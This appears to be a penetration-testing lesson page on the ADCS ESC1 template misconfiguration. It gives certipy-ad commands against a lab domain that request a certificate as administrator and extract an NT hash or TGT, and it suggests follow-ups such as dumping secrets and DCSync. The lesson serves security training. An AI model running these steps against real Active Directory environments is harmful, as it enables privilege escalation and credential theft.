Academy Node
ADCS ESC1
ESC1 is an ADCS template misconfiguration where a requester can supply an arbitrary subject alternative name and obtain a certificate usable for authentication.
Advanced100 XPADCS
Why it matters
It can allow privilege escalation by requesting a certificate as a higher-privileged user.
How to identify it
- Run certipy find.
- Look for vulnerable template allowing enrollee supplies subject.
- Client authentication EKU present.
BloodHound indicators
- ADCS attack path if imported
- CA/template relationships
Certipy commands
certipy-ad find -u ba_low@xutslabs.local -p 'Password123' -dc-ip 192.168.184.141 -vulnerable -stdoutcertipy-ad req -u ba_low@xutslabs.local -p 'Password123' -dc-ip 192.168.184.141 -ca XUTS-CA -template VulnUser -upn administrator@xutslabs.localcertipy-ad auth -pfx administrator.pfx -dc-ip 192.168.184.141Expected output
- Template marked ESC1 vulnerable.
- administrator.pfx created.
- NT hash or TGT obtained.
Success looks like
- Certificate authentication as target principal works.
Failure looks like
- Template not vulnerable.
- Enrollment denied.
- KDC cannot map certificate.
Troubleshooting
- Use -debug.
- Confirm CA hostname.
- Check template EKUs.
- Check SAN supply setting.
Common mistakes
- Wrong CA name.
- Wrong template name.
- Forgetting DNS/time.
- Using wrong UPN.
Alternative attacks
- Kerberoast
- RBCD
- DCSync if cert leads to DA
What to try next
- Authenticate with pfx.
- Dump secrets if privileged.
- Check BloodHound as new identity.
Recommended next lessons
ASREP Roast
ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.
Kerberoast
Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.
GenericWrite
GenericWrite means you can modify certain attributes on the target AD object.
GenericAll
GenericAll is effectively full control over the target AD object.